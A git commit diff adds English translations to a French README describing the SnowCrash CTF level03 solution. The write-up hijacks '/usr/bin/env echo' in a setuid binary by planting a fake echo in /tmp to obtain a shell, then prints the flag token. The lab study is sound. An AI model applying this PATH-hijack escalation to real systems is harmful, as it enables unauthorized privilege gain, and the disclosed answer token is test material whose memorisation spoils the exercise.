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docs(lvl03): adding the english readme

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Raphael 2026-01-29 12:53:05 +01:00
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rparodi/level03/README.md
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@ -1,6 +1,7 @@
Le flag 03 est enfin reelement de l'exploitation de binaire The flag 03 is finally really binary exploitation.
First thing that I do is run a strings on the binary in order to see what comes out of it and towards where to search.
Premiere chose que je lance un strings sur le binaire afin de voir si qui en ressort et vers ou chercher
```bash ```bash
/lib/ld-linux.so.2 /lib/ld-linux.so.2
KT{K KT{K
@ -21,13 +22,13 @@ UWVS
... ...
``` ```
Je vois que `/usr/bin/env echo` est appeler (env ce base sur le l'environnement de mon user actuel) I see that `/usr/bin/env echo` is called (env is based on the environment of my current user).
Je tente de faire un fichier dans mon home, mais ca ne met pas permis I try to make a file in my home, but it is not permitted.
Je tente donc dans le /tmp I therefore try in /tmp.
ce qui fonctionne et decide donc d'ouvrir un shell Which works and I therefore decide to open a shell.
```bash ```bash
cat /tmp/echo cat /tmp/echo
@ -41,9 +42,9 @@ chmod 777 /tmp/echo
./level03 ./level03
``` ```
Je me retrouve donc directement sur le shell de level03 I therefore find myself directly on the shell of level03.
```bash ```bash
flag03@SnowCrash:~$ getflag getflag
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
``` ```